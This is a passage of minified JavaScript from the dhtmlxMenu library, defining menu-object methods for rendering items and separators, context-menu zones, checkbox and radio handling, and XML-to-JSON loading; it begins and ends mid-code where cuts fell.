false};o.onmouseover=function(w){if(n.conf.hide_tm[this.id]){window.clearTimeout(n.conf.hide_tm[this.id])}if(n.conf.mode==\"web\"){window.clearTimeout(n.conf.tm_handler)}if(!this._visible){n._redistribSubLevelSelection(this.id,this.parent)}this._visible=true};o.onmouseout=function(){if(n.conf.mode==\"web\"){if(n.conf.tm_handler){window.clearTimeout(n.conf.tm_handler)}n.conf.tm_handler=window.setTimeout(function(){if(n&&n._clearAndHide){n._clearAndHide()}},n.conf.tm_sec,\"JavaScript\")}var w=this;if(n.conf.hide_tm[this.id]){window.clearTimeout(n.conf.hide_tm[this.id])}n.conf.hide_tm[this.id]=window.setTimeout(function(){w._visible=false},50)};o.onclick=function(x){if(!n.checkEvent(\"onClick\")&&n.itemPull[this.id][\"complex\"]){return}x=x||event;x.cancelBubble=true;if(x.preventDefault){x.preventDefault()}else{x.returnValue=false}tc=(n.itemPull[this.id][\"complex\"]?\"c\":\"-\");td=(n.itemPull[this.id][\"state\"]==\"enabled\"?\"-\":\"d\");var w={ctrl:x.ctrlKey,alt:x.altKey,shift:x.shiftKey};switch(n.itemPull[this.id][\"type\"]){case\"checkbox\":n._checkboxOnClickHandler(this.id.replace(n.idPrefix,\"\"),tc+td+\"n\",w);break;case\"radio\":n._radioOnClickHandler(this.id.replace(n.idPrefix,\"\"),tc+td+\"n\",w);break;case\"item\":n._doOnClick(this.id.replace(n.idPrefix,\"\"),tc+td+\"n\",w);break}return false};var s=this.idPull[\"polygon_\"+this.itemPull[a][\"parent\"]];if(q!=null){q++;if(q<0){q=0}if(q>s.tbd.childNodes.length-1){q=null}}if(q!=null&&s.tbd.childNodes[q]!=null){s.tbd.insertBefore(o,s.tbd.childNodes[q])}else{s.tbd.appendChild(o)}this.idPull[o.id]=o};dhtmlXMenuObject.prototype._renderSeparator=function(c,m){var a=(this.conf.context?\"SubLevelArea\":(this.itemPull[c][\"parent\"]==this.idPrefix+this.topId?\"TopLevel\":\"SubLevelArea\"));if(a==\"TopLevel\"&&this.conf.context){return}var h=this;if(a!=\"TopLevel\"){var l=document.createElement(\"TR\");l.className=\"sub_sep\";var e=document.createElement(\"TD\");e.colSpan=\"3\";l.appendChild(e)}var g=document.createElement(\"DIV\");g.id=\"separator_\"+c;g.className=(a==\"TopLevel\"?\"top_sep\":\"sub_sep\");g.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}};g.onclick=function(r){r=r||event;r.cancelBubble=true;var q={ctrl:r.ctrlKey,alt:r.altKey,shift:r.shiftKey};h._doOnClick(this.id.replace(\"separator_\"+h.idPrefix,\"\"),\"--s\",q)};if(a==\"TopLevel\"){if(m!=null){m++;if(m<0){m=0}if(this.cont.childNodes[m]!=null){this.cont.insertBefore(g,this.cont.childNodes[m])}else{this.cont.appendChild(g)}}else{var o=this.cont.childNodes[this.cont.childNodes.length-1];if(String(o).search(\"TopLevel_Text\")==-1){this.cont.appendChild(g)}else{this.cont.insertBefore(g,o)}}this.idPull[g.id]=g}else{var n=this.idPull[\"polygon_\"+this.itemPull[c][\"parent\"]];if(m!=null){m++;if(m<0){m=0}if(m>n.tbd.childNodes.length-1){m=null}}if(m!=null&&n.tbd.childNodes[m]!=null){n.tbd.insertBefore(l,n.tbd.childNodes[m])}else{n.tbd.appendChild(l)}e.appendChild(g);this.idPull[g.id]=l}};dhtmlXMenuObject.prototype.addNewSeparator=function(a,c){c=this.idPrefix+(c!=null?c:this._genStr(24));var e=this.idPrefix+this.getParentId(a);this._addItemIntoGlobalStrorage(c,e,\"\",\"separator\",false,\"\",\"\");this._renderSeparator(c,this.getItemPosition(a))};dhtmlXMenuObject.prototype._initObj=function(s,u,m){if(!(s instanceof Array)){m=s.parentId;if(m!=null&&String(m).indexOf(this.idPrefix)!==0){m=this.idPrefix+String(m)}s=s.items}for(var e=0;e<s.length;e++){if(typeof(s[e].id)==\"undefined\"||s[e].id==null){s[e].id=this._genStr(24)}if(s[e].text==null){s[e].text=\"\"}if(String(s[e].id).indexOf(this.idPrefix)!==0){s[e].id=this.idPrefix+String(s[e].id)}var g={type:\"item\",tip:\"\",hotkey:\"\",state:\"enabled\",imgen:\"\",imgdis:\"\"};for(var v in g){if(typeof(s[e][v])==\"undefined\"){s[e][v]=g[v]}}if(s[e].imgen==\"\"&&s[e].img!=null){s[e].imgen=s[e].img}if(s[e].imgdis==\"\"&&s[e].img_disabled!=null){s[e].imgdis=s[e].img_disabled}if(s[e].title==null&&s[e].text!=null){s[e].title=s[e].text}if(s[e].href!=null){if(s[e].href.link!=null){s[e].href_link=s[e].href.link}if(s[e].href.target!=null){s[e].href_target=s[e].href.target}}if(s[e].userdata!=null){for(var v in s[e].userdata){this.userData[s[e].id+\"_\"+v]=s[e].userdata[v]}}if(typeof(s[e].enabled)!=\"undefined\"&&window.dhx4.s2b(s[e].enabled)==false){s[e].state=\"disabled\"}else{if(typeof(s[e].disabled)!=\"undefined\"&&window.dhx4.s2b(s[e].disabled)==true){s[e].state=\"disabled\"}}if(typeof(s[e].parent)==\"undefined\"){s[e].parent=(m!=null?m:this.idPrefix+this.topId)}if(s[e].type==\"checkbox\"){s[e].checked=window.dhx4.s2b(s[e].checked);s[e].imgen=s[e].imgdis=\"chbx_\"+(s[e].checked?\"1\":\"0\")}if(s[e].type==\"radio\"){s[e].checked=window.dhx4.s2b(s[e].checked);s[e].imgen=s[e].imgdis=\"rdbt_\"+(s[e].checked?\"1\":\"0\");if(typeof(s[e].group)==\"undefined\"||s[e].group==null){s[e].group=this._genStr(24)}if(this.radio[s[e].group]==null){this.radio[s[e].group]=[]}this.radio[s[e].group].push(s[e].id)}this.itemPull[s[e].id]=s[e];if(s[e].items!=null&&s[e].items.length>0){this.itemPull[s[e].id].complex=true;this._initObj(s[e].items,true,s[e].id)}else{if(this.conf.dload&&s[e].complex==true){this.itemPull[s[e].id].loaded=\"no\"}}this.itemPull[s[e].id].items=null}if(u!==true){if(this.conf.dload==true){if(m==null){this._initTopLevelMenu()}else{this._addSubMenuPolygon(m,m);if(this.conf.selected==m){var r=(this.itemPull[m].parent==this.idPrefix+this.topId);var c=(r&&!this.conf.context?this.conf.dir_toplv:this.conf.dir_sublv);var h=false;if(r&&this.conf.top_mode&&this.conf.mode==\"web\"&&!this.conf.context){var w=this.idPull[m];if(w._mouseOver==true){var l=this.conf.top_tmtime-(new Date().getTime()-w._dynLoadTM);if(l>1){var o=m;var n=this;w._menuOpenTM=window.setTimeout(function(){n._showPolygon(o,c);n=o=null},l);h=true}}}if(!h){this._showPolygon(m,c)}}this.itemPull[m].loaded=\"yes\";if(this.conf.dload_icon==true){this._updateLoaderIcon(m,false)}}}else{this._init()}}};dhtmlXMenuObject.prototype._xmlToJson=function(h,g){var m=[];if(g==null){var n=h.getElementsByTagName(this.conf.tags.root);if(n==null||(n!=null&&n.length==0)){return{items:[]}}n=n[0]}else{n=h}if(n.getAttribute(\"parentId\")!=null){g=this.idPrefix+n.getAttribute(\"parentId\")}for(var c=0;c<n.childNodes.length;c++){if(typeof(n.childNodes[c].tagName)!=\"undefined\"&&String(n.childNodes[c].tagName).toLowerCase()==this.conf.tags.item){var a=n.childNodes[c];var u={id:this.idPrefix+(a.getAttribute(\"id\")||this._genStr(24)),title:a.getAttribute(\"text\")||\"\",imgen:a.getAttribute(\"img\")||\"\",imgdis:a.getAttribute(\"imgdis\")||\"\",tip:\"\",hotkey:\"\",type:a.getAttribute(\"type\")||\"item\"};if(a.getAttribute(\"cssNormal\")!=null){u.cssNormal=a.getAttribute(\"cssNormal\")}if(u.type==\"checkbox\"){u.checked=a.getAttribute(\"checked\")}if(u.type==\"radio\"){u.checked=a.getAttribute(\"checked\");u.group=a.getAttribute(\"group\")}u.state=\"enabled\";if(a.getAttribute(\"enabled\")!=null&&window.dhx4.s2b(a.getAttribute(\"enabled\"))==false){u.state=\"disabled\"}else{if(a.getAttribute(\"disabled\")!=null&&window.dhx4.s2b(a.getAttribute(\"disabled\"))==true){u.state=\"disabled\"}}u.parent=(g!=null?g:this.idPrefix+this.topId);if(this.conf.dload){u.complex=(a.getAttribute(\"complex\")!=null);if(u.complex){u.loaded=\"no\"}}else{var e=this._xmlToJson(a,u.id);u.items=e.items;u.complex=(u.items.length>0)}for(var o=0;o<a.childNodes.length;o++){if(typeof(a.childNodes[o].tagName)!=\"undefined\"){var s=String(a.childNodes[o].tagName||\"\").toLowerCase();if(s==this.conf.tags.userdata){var l=a.childNodes[o];if(l.getAttribute(\"name\")!=null){this.userData[u.id+\"_\"+l.getAttribute(\"name\")]=(l.firstChild!=null&&l.firstChild.nodeValue!=null?l.firstChild.nodeValue:\"\")}}if(s==this.conf.tags.text_ext){u.title=a.childNodes[o].firstChild.nodeValue}if(s==this.conf.tags.tooltip){u.tip=a.childNodes[o].firstChild.nodeValue}if(s==this.conf.tags.hotkey){u.hotkey=a.childNodes[o].firstChild.nodeValue}if(s==this.conf.tags.href&&u.type==\"item\"){u.href_link=a.childNodes[o].firstChild.nodeValue;if(a.childNodes[o].getAttribute(\"target\")!=null){u.href_target=a.childNodes[o].getAttribute(\"target\")}}}}m.push(u)}}var a={parentId:g,items:m};return a};dhtmlXMenuObject.prototype.enableDynamicLoading=function(a,c){this.conf.dload=true;this.conf.dload_url=a;this.conf.dload_sign=(String(this.conf.dload_url).search(/\\?/)==-1?\"?\":\"&\");this.conf.dload_icon=c;this._init()};dhtmlXMenuObject.prototype._updateLoaderIcon=function(g,e){if(this.idPull[g]==null){return}if(String(this.idPull[g].className).search(\"TopLevel_Item\")>=0){return}var c=(this.conf.rtl?0:2);if(!this.idPull[g].childNodes[c]){return}if(!this.idPull[g].childNodes[c].childNodes[0]){return}var a=this.idPull[g].childNodes[c].childNodes[0];if(String(a.className).search(\"complex_arrow\")===0){a.className=\"complex_arrow\"+(e?\"_loading\":\"\")}};dhtmlXMenuObject.prototype.addNewSibling=function(g,h,a,c,e,n){var m=this.idPrefix+(h!=null?h:this._genStr(24));var l=this.idPrefix+(g!=null?this.getParentId(g):this.topId);this._addItemIntoGlobalStrorage(m,l,a,\"item\",c,e,n);if((l==this.idPrefix+this.topId)&&(!this.conf.context)){this._renderToplevelItem(m,this.getItemPosition(g))}else{this._renderSublevelItem(m,this.getItemPosition(g))}};dhtmlXMenuObject.prototype.addNewChild=function(m,l,g,a,c,e,h){if(m==null){if(this.conf.context){m=this.topId}else{this.addNewSibling(m,g,a,c,e,h);if(l!=null){this.setItemPosition(g,l)}return}}g=this.idPrefix+(g!=null?g:this._genStr(24));if(this.setHotKey){this.setHotKey(m,\"\")}m=this.idPrefix+m;this._addItemIntoGlobalStrorage(g,m,a,\"item\",c,e,h);if(this.idPull[\"polygon_\"+m]==null){this._renderSublevelPolygon(m,m)}this._renderSublevelItem(g,l-1);this._redefineComplexState(m)};dhtmlXMenuObject.prototype.removeItem=function(g,l,h){if(!l){g=this.idPrefix+g}var m=null;if(g!=this.idPrefix+this.topId){if(this.itemPull[g]==null){return}if(this.idPull[\"polygon_\"+g]&&this.idPull[\"polygon_\"+g]._tmShow){window.clearTimeout(this.idPull[\"polygon_\"+g]._tmShow)}var u=this.itemPull[g][\"type\"];if(u==\"separator\"){var s=this.idPull[\"separator_\"+g];if(this.itemPull[g][\"parent\"]==this.idPrefix+this.topId){s.onclick=null;s.onselectstart=null;s.id=null;s.parentNode.removeChild(s)}else{s.childNodes[0].childNodes[0].onclick=null;s.childNodes[0].childNodes[0].onselectstart=null;s.childNodes[0].childNodes[0].id=null;s.childNodes[0].removeChild(s.childNodes[0].childNodes[0]);s.removeChild(s.childNodes[0]);s.parentNode.removeChild(s)}this.idPull[\"separator_\"+g]=null;this.itemPull[g]=null;delete this.idPull[\"separator_\"+g];delete this.itemPull[g];s=null}else{m=this.itemPull[g][\"parent\"];var s=this.idPull[g];s.onclick=null;s.oncontextmenu=null;s.onmouseover=null;s.onmouseout=null;s.onselectstart=null;s.id=null;while(s.childNodes.length>0){s.removeChild(s.childNodes[0])}s.parentNode.removeChild(s);this.idPull[g]=null;this.itemPull[g]=null;delete this.idPull[g];delete this.itemPull[g];s=null}u=null}for(var o in this.itemPull){if(this.itemPull[o][\"parent\"]==g){this.removeItem(o,true,true)}}var r=new Array(g);if(m!=null&&!h){if(this.idPull[\"polygon_\"+m]!=null){if(this.idPull[\"polygon_\"+m].tbd.childNodes.length==0){r.push(m);this._updateItemComplexState(m,false,false)}}}for(var c=0;c<r.length;c++){if(this.idPull[\"polygon_\"+r[c]]){var e=this.idPull[\"polygon_\"+r[c]];e.onclick=null;e.oncontextmenu=null;e.tbl.removeChild(e.tbd);e.tbd=null;e.childNodes[1].removeChild(e.tbl);e.tbl=null;e.id=null;e.parentNode.removeChild(e);e=null;if(window.dhx4.isIE6){var n=\"polygon_\"+r[c]+\"_ie6cover\";if(this.idPull[n]!=null){document.body.removeChild(this.idPull[n]);delete this.idPull[n]}}if(this.idPull[\"arrowup_\"+g]!=null&&this._removeArrow){this._removeArrow(\"arrowup_\"+g)}if(this.idPull[\"arrowdown_\"+g]!=null&&this._removeArrow){this._removeArrow(\"arrowdown_\"+g)}this.idPull[\"polygon_\"+r[c]]=null;delete this.idPull[\"polygon_\"+r[c]]}}r=null;if(this.conf.skin==\"dhx_terrace\"&&arguments.length==1){this._improveTerraceSkin()}};dhtmlXMenuObject.prototype._addItemIntoGlobalStrorage=function(n,a,e,m,g,c,l){var h={id:n,title:e,imgen:(c!=null?c:\"\"),imgdis:(l!=null?l:\"\"),type:m,state:(g==true?\"disabled\":\"enabled\"),parent:a,complex:false,hotkey:\"\",tip:\"\"};this.itemPull[h.id]=h};dhtmlXMenuObject.prototype.renderAsContextMenu=function(){this.conf.context=true;if(this.base._autoSkinUpdate==true){this.base.className=this.base.className.replace(\"dhtmlxMenu_\"+this.conf.skin+\"_Middle\",\"\");this.base._autoSkinUpdate=false}if(this.conf.ctx_baseid!=null){this.addContextZone(this.conf.ctx_baseid)}};dhtmlXMenuObject.prototype.addContextZone=function(c){if(c==document.body){c=\"document.body.\"+this.idPrefix;var g=document.body}else{if(typeof(c)==\"string\"){var g=document.getElementById(c)}else{var g=c}}var l=false;for(var e in this.conf.ctx_zones){l=l||(e==c)||(this.conf.ctx_zones[e]==g)}if(l==true){return false}this.conf.ctx_zones[c]=g;var h=this;if(window.dhx4.isOpera){this.operaContext=function(a){h._doOnContextMenuOpera(a,h)};g.addEventListener(\"mouseup\",this.operaContext,false)}else{if(g.oncontextmenu!=null&&!g._oldContextMenuHandler){g._oldContextMenuHandler=g.oncontextmenu}g.oncontextmenu=function(m){for(var a in dhtmlXMenuObject.prototype.liveInst){if(a!=h.conf.live_id){if(dhtmlXMenuObject.prototype.liveInst[a].context){dhtmlXMenuObject.prototype.liveInst[a]._hideContextMenu()}}}m=m||event;m.cancelBubble=true;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}h._doOnContextBeforeCall(m,this);return false}}};dhtmlXMenuObject.prototype._doOnContextMenuOpera=function(g,a){for(var c in dhtmlXMenuObject.prototype.liveInst){if(c!=a.conf.live_id){if(dhtmlXMenuObject.prototype.liveInst[c].context){dhtmlXMenuObject.prototype.liveInst[c]._hideContextMenu()}}}g.cancelBubble=true;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}if(g.button==0&&g.ctrlKey==true){a._doOnContextBeforeCall(g,this)}return false};dhtmlXMenuObject.prototype.removeContextZone=function(a){if(!this.isContextZone(a)){return false}if(a==document.body){a=\"document.body.\"+this.idPrefix}var c=this.conf.ctx_zones[a];if(window.dhx4.isOpera){c.removeEventListener(\"mouseup\",this.operaContext,false)}else{c.oncontextmenu=(c._oldContextMenuHandler!=null?c._oldContextMenuHandler:null);c._oldContextMenuHandler=null}try{this.conf.ctx_zones[a]=null;delete this.conf.ctx_zones[a]}catch(g){}return true};dhtmlXMenuObject.prototype.isContextZone=function(a){if(a==document.body&&this.conf.ctx_zones[\"document.body.\"+this.idPrefix]!=null){return true}var c=false;if(this.conf.ctx_zones[a]!=null){if(this.conf.ctx_zones[a]==document.getElementById(a)){c=true}}return c};dhtmlXMenuObject.prototype._isContextMenuVisible=function(){if(this.idPull[\"polygon_\"+this.idPrefix+this.topId]==null){return false}return(this.idPull[\"polygon_\"+this.idPrefix+this.topId].style.display==\"\")};dhtmlXMenuObject.prototype._showContextMenu=function(c,e,a){this._clearAndHide();if(this.idPull[\"polygon_\"+this.idPrefix+this.topId]==null){return false}window.clearTimeout(this.conf.tm_handler);this.idPull[this.idPrefix+this.topId]=new Array(c,e);this._showPolygon(this.idPrefix+this.topId,\"bottom\");this.callEvent(\"onContextMenu\",[a])};dhtmlXMenuObject.prototype._hideContextMenu=function(){if(this.idPull[\"polygon_\"+this.idPrefix+this.topId]==null){return false}this._clearAndHide();this._hidePolygon(this.idPrefix+this.topId)};dhtmlXMenuObject.prototype._doOnContextBeforeCall=function(l,n){this.conf.ctx_zoneid=n.id;this._clearAndHide();this._hideContextMenu();var h=(l.srcElement||l.target);var c=(window.dhx4.isIE||window.dhx4.isOpera||window.dhx4.isKHTML||window.dhx4.isEdge?l.offsetX:l.layerX);var a=(window.dhx4.isIE||window.dhx4.isOpera||window.dhx4.isKHTML||window.dhx4.isEdge?l.offsetY:l.layerY);var m=window.dhx4.absLeft(h)+c;var g=window.dhx4.absTop(h)+a;if(this.checkEvent(\"onBeforeContextMenu\")){if(this.callEvent(\"onBeforeContextMenu\",[n.id,l])){if(this.conf.ctx_autoshow){this._showContextMenu(m,g,n.id);this.callEvent(\"onAfterContextMenu\",[n.id,l])}}}else{if(this.conf.ctx_autoshow){this._showContextMenu(m,g,n.id);this.callEvent(\"onAfterContextMenu\",[n.id])}}};dhtmlXMenuObject.prototype.showContextMenu=function(a,c){this._showContextMenu(a,c,false)};dhtmlXMenuObject.prototype.hideContextMenu=function(){this._hideContextMenu()};dhtmlXMenuObject.prototype.setAutoShowMode=function(a){this.conf.ctx_autoshow=(a==true?true:false)};dhtmlXMenuObject.prototype.setAutoHideMode=function(a){this.conf.ctx_autohide=(a==true?true:false)};dhtmlXMenuObject.prototype.setContextMenuHideAllMode=function(a){this.conf.ctx_hideall=(a==true?true:false)};dhtmlXMenuObject.prototype.getContextMenuHideAllMode=function(){return this.conf.ctx_hideall};dhtmlXMenuObject.prototype._improveTerraceSkin=function(){for(var e in this.itemPull){if(this.itemPull[e].parent==this.idPrefix+this.topId&&this.idPull[e]!=null){var h=false;var g=false;if(this.idPull[e].parentNode.firstChild==this.idPull[e]){h=true}if(this.idPull[e].parentNode.lastChild==this.idPull[e]){g=true}for(var c in this.itemPull){if(this.itemPull[c].type==\"separator\"&&this.itemPull[c].parent==this.idPrefix+this.topId){if(this.idPull[e].nextSibling==this.idPull[\"separator_\"+c]){g=true}if(this.idPull[e].previousSibling==this.idPull[\"separator_\"+c]){h=true}}}this.idPull[e].style.borderLeftWidth=(h?\"1px\":\"0px\");this.idPull[e].style.borderTopLeftRadius=this.idPull[e].style.borderBottomLeftRadius=(h?\"3px\":\"0px\");this.idPull[e].style.borderTopRightRadius=this.idPull[e].style.borderBottomRightRadius=(g?\"3px\":\"0px\");this.idPull[e]._bl=h;this.idPull[e]._br=g}}};dhtmlXMenuObject.prototype._improveTerraceButton=function(c,a){if(a){this.idPull[c].style.borderBottomLeftRadius=(this.idPull[c]._bl?\"3px\":\"0px\");this.idPull[c].style.borderBottomRightRadius=(this.idPull[c]._br?\"3px\":\"0px\")}else{this.idPull[c].style.borderBottomLeftRadius=\"0px\";this.idPull[c].style.borderBottomRightRadius=\"0px\"}};if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype._createNode_menu=function(h,c,g,a,e){if(typeof(e)!=\"undefined\"){h=e}else{h=document.createElement(\"DIV\");h.className=\"dhx_cell_menu_\"+(this.conf.borders?\"def\":\"no_borders\");h.appendChild(document.createElement(\"DIV\"))}this.cell.insertBefore(h,this.cell.childNodes[this.conf.idx.toolbar||this.conf.idx.cont]);this.conf.ofs_nodes.t.menu=true;this._updateIdx();return h};dhtmlXCellObject.prototype.attachMenu=function(a){if(this.dataNodes.menu){return}this.callEvent(\"_onBeforeContentAttach\",[\"menu\"]);if(typeof(a)==\"undefined\"){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=this._attachObject(\"menu\").firstChild;this.dataNodes.menu=new dhtmlXMenuObject(a);this._adjustCont(this._idd);a.parent=null;a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataNodes.menu};dhtmlXCellObject.prototype.detachMenu=function(){if(!this.dataNodes.menu){return}this.dataNodes.menu.unload();this.dataNodes.menu=null;delete this.dataNodes.menu;this._detachObject(\"menu\")};dhtmlXCellObject.prototype.showMenu=function(){this._mtbShowHide(\"menu\",\"\")};dhtmlXCellObject.prototype.hideMenu=function(){this._mtbShowHide(\"menu\",\"none\")};dhtmlXCellObject.prototype.getAttachedMenu=function(){return this.dataNodes.menu}}dhtmlXMenuObject.prototype.setItemEnabled=function(a){this._changeItemState(a,\"enabled\",this._getItemLevelType(a))};dhtmlXMenuObject.prototype.setItemDisabled=function(a){this._changeItemState(a,\"disabled\",this._getItemLevelType(a))};dhtmlXMenuObject.prototype.isItemEnabled=function(a){return(this.itemPull[this.idPrefix+a]!=null?(this.itemPull[this.idPrefix+a][\"state\"]==\"enabled\"):false)};dhtmlXMenuObject.prototype._changeItemState=function(h,g,c){var e=false;var a=this.idPrefix+h;if((this.itemPull[a]!=null)&&(this.idPull[a]!=null)){if(this.itemPull[a][\"state\"]!=g){this.itemPull[a][\"state\"]=g;if(this.itemPull[a][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context){this.idPull[a].className=\"dhtmlxMenu_\"+this.conf.skin+\"_TopLevel_Item_\"+(this.itemPull[a][\"state\"]==\"enabled\"?\"Normal\":\"Disabled\")}else{this.idPull[a].className=\"sub_item\"+(this.itemPull[a][\"state\"]==\"enabled\"?\"\":\"_dis\")}this._updateItemComplexState(this.idPrefix+h,this.itemPull[this.idPrefix+h][\"complex\"],false);this._updateItemImage(h,c);if((this.idPrefix+this.conf.last_click==a)&&(c!=\"TopLevel\")){this._redistribSubLevelSelection(a,this.itemPull[a][\"parent\"])}if(c==\"TopLevel\"&&!this.conf.context){}}}return e};dhtmlXMenuObject.prototype.getItemText=function(a){return(this.itemPull[this.idPrefix+a]!=null?this.itemPull[this.idPrefix+a][\"title\"]:\"\")};dhtmlXMenuObject.prototype.setItemText=function(l,h){l=this.idPrefix+l;if((this.itemPull[l]!=null)&&(this.idPull[l]!=null)){this._clearAndHide();this.itemPull[l][\"title\"]=h;if(this.itemPull[l][\"parent\"]==this.idPrefix+this.topId&&!this.conf.context){var g=null;for(var a=0;a<this.idPull[l].childNodes.length;a++){try{if(this.idPull[l].childNodes[a].className==\"top_level_text\"){g=this.idPull[l].childNodes[a]}}catch(c){}}if(String(this.itemPull[l][\"title\"]).length==\"\"||this.itemPull[l][\"title\"]==null){if(g!=null){g.parentNode.removeChild(g)}}else{if(!g){g=document.createElement(\"DIV\");g.className=\"top_level_text\";if(this.conf.rtl&&this.idPull[l].childNodes.length>0){this.idPull[l].insertBefore(g,this.idPull[l].childNodes[0])}else{this.idPull[l].appendChild(g)}}g.innerHTML=this.itemPull[l][\"title\"]}}else{var g=null;for(var a=0;a<this.idPull[l].childNodes[1].childNodes.length;a++){if(String(this.idPull[l].childNodes[1].childNodes[a].className||\"\")==\"sub_item_text\"){g=this.idPull[l].childNodes[1].childNodes[a]}}if(String(this.itemPull[l][\"title\"]).length==\"\"||this.itemPull[l][\"title\"]==null){if(g){g.parentNode.removeChild(g);g=null;this.idPull[l].childNodes[1].innerHTML=\"&nbsp;\"}}else{if(!g){g=document.createElement(\"DIV\");g.className=\"sub_item_text\";this.idPull[l].childNodes[1].innerHTML=\"\";this.idPull[l].childNodes[1].appendChild(g)}g.innerHTML=this.itemPull[l][\"title\"]}}}};dhtmlXMenuObject.prototype.loadFromHTML=function(e,l,g){var c=this.conf.tags.item;this.conf.tags.item=\"div\";var h=(typeof(e)==\"string\"?document.getElementById(e):e);var a=this._xmlToJson(h,this.idPrefix+this.topId);this._initObj(a);this.conf.tags.item=c;if(l){h.parentNode.removeChild(h)}h=objOd=null;if(onload!=null){if(typeof(g)==\"function\"){g()}else{if(typeof(window[g])==\"function\"){window[g]()}}}};dhtmlXMenuObject.prototype.hideItem=function(a){this._changeItemVisible(a,false)};dhtmlXMenuObject.prototype.showItem=function(a){this._changeItemVisible(a,true)};dhtmlXMenuObject.prototype.isItemHidden=function(c){var a=null;if(this.idPull[this.idPrefix+c]!=null){a=(this.idPull[this.idPrefix+c].style.display==\"none\")}return a};dhtmlXMenuObject.prototype._changeItemVisible=function(e,c){var a=this.idPrefix+e;if(this.itemPull[a]==null){return}if(this.itemPull[a][\"type\"]==\"separator\"){a=\"separator_\"+a}if(this.idPull[a]==null){return}this.idPull[a].style.display=(c?\"\":\"none\");this._redefineComplexState(this.itemPull[this.idPrefix+e][\"parent\"])};dhtmlXMenuObject.prototype.setUserData=function(e,a,c){this.userData[this.idPrefix+e+\"_\"+a]=c};dhtmlXMenuObject.prototype.getUserData=function(c,a){return(this.userData[this.idPrefix+c+\"_\"+a]!=null?this.userData[this.idPrefix+c+\"_\"+a]:null)};dhtmlXMenuObject.prototype.setOpenMode=function(a){this.conf.mode=(a==\"win\"?\"win\":\"web\")};dhtmlXMenuObject.prototype.setWebModeTimeout=function(a){this.conf.tm_sec=(!isNaN(a)?a:400)};dhtmlXMenuObject.prototype.getItemImage=function(c){var a=new Array(null,null);c=this.idPrefix+c;if(this.itemPull[c][\"type\"]==\"item\"){a[0]=this.itemPull[c][\"imgen\"];a[1]=this.itemPull[c][\"imgdis\"]}return a};dhtmlXMenuObject.prototype.setItemImage=function(e,a,c){if(this.itemPull[this.idPrefix+e][\"type\"]!=\"item\"){return}this.itemPull[this.idPrefix+e][\"imgen\"]=a;this.itemPull[this.idPrefix+e][\"imgdis\"]=c;this._updateItemImage(e,this._getItemLevelType(e))};dhtmlXMenuObject.prototype.clearItemImage=function(a){this.setItemImage(a,\"\",\"\")};dhtmlXMenuObject.prototype.setVisibleArea=function(c,a,g,e){this.conf.v_enabled=true;this.conf.v.x1=c;this.conf.v.x2=a;this.conf.v.y1=g;this.conf.v.y2=e};dhtmlXMenuObject.prototype.setTooltip=function(c,a){c=this.idPrefix+c;if(!(this.itemPull[c]!=null&&this.idPull[c]!=null)){return}this.idPull[c].title=(a.length>0?a:null);this.itemPull[c][\"tip\"]=a};dhtmlXMenuObject.prototype.getTooltip=function(a){if(this.itemPull[this.idPrefix+a]==null){return null}return this.itemPull[this.idPrefix+a][\"tip\"]};dhtmlXMenuObject.prototype.setTopText=function(a){if(this.conf.context){return}if(this._topText==null){this._topText=document.createElement(\"DIV\");this._topText.className=\"dhtmlxMenu_TopLevel_Text_\"+(this.conf.rtl?\"left\":(this.conf.align==\"left\"?\"right\":\"left\"));this.base.appendChild(this._topText)}this._topText.innerHTML=a};dhtmlXMenuObject.prototype.setAlign=function(a){if(this.conf.align==a){return}if(a==\"left\"||a==\"right\"){this.conf.align=a;if(this.cont){this.cont.className=(this.conf.align==\"right\"?\"align_right\":\"align_left\")}if(this._topText!=null){this._topText.className=\"dhtmlxMenu_TopLevel_Text_\"+(this.conf.align==\"left\"?\"right\":\"left\")}}};dhtmlXMenuObject.prototype.setHref=function(e,a,c){if(this.itemPull[this.idPrefix+e]==null){return}this.itemPull[this.idPrefix+e][\"href_link\"]=a;if(c!=null){this.itemPull[this.idPrefix+e][\"href_target\"]=c}};dhtmlXMenuObject.prototype.clearHref=function(a){if(this.itemPull[this.idPrefix+a]==null){return}delete this.itemPull[this.idPrefix+a][\"href_link\"];delete this.itemPull[this.idPrefix+a][\"href_target\"]};dhtmlXMenuObject.prototype.getCircuit=function(c){var a=new Array(c);while(this.getParentId(c)!=this.topId){c=this.getParentId(c);a[a.length]=c}return a.reverse()};dhtmlXMenuObject.prototype._getCheckboxState=function(a){if(this.itemPull[this.idPrefix+a]==null){return null}return this.itemPull[this.idPrefix+a][\"checked\"]};dhtmlXMenuObject.prototype._setCheckboxState=function(c,a){if(this.itemPull[this.idPrefix+c]==null){return}this.itemPull[this.idPrefix+c][\"checked\"]=a};dhtmlXMenuObject.prototype._updateCheckboxImage=function(c){if(this.idPull[this.idPrefix+c]==null){return}this.itemPull[this.idPrefix+c][\"imgen\"]=\"chbx_\"+(this._getCheckboxState(c)?\"1\":\"0\");this.itemPull[this.idPrefix+c][\"imgdis\"]=this.itemPull[this.idPrefix+c][\"imgen\"];try{this.idPull[this.idPrefix+c].childNodes[(this.conf.rtl?2:0)].childNodes[0].className=\"sub_icon \"+this.itemPull[this.idPrefix+c][\"imgen\"]}catch(a){}};dhtmlXMenuObject.prototype._checkboxOnClickHandler=function(g,a,c){if(a.charAt(1)==\"d\"){return}if(this.itemPull[this.idPrefix+g]==null){return}var e=this._getCheckboxState(g);if(this.checkEvent(\"onCheckboxClick\")){if(this.callEvent(\"onCheckboxClick\",[g,e,this.conf.ctx_zoneid,c])){this.setCheckboxState(g,!e)}}else{this.setCheckboxState(g,!e)}if(this.checkEvent(\"onClick\")){this.callEvent(\"onClick\",[g])}};dhtmlXMenuObject.prototype.setCheckboxState=function(c,a){this._setCheckboxState(c,a);this._updateCheckboxImage(c)};dhtmlXMenuObject.prototype.getCheckboxState=function(a){return this._getCheckboxState(a)};dhtmlXMenuObject.prototype.addCheckbox=function(n,g,o,q,r,a,h){if(this.conf.context&&g==this.topId){}else{if(this.itemPull[this.idPrefix+g]==null){return}if(n==\"child\"&&this.itemPull[this.idPrefix+g][\"type\"]!=\"item\"){return}}var 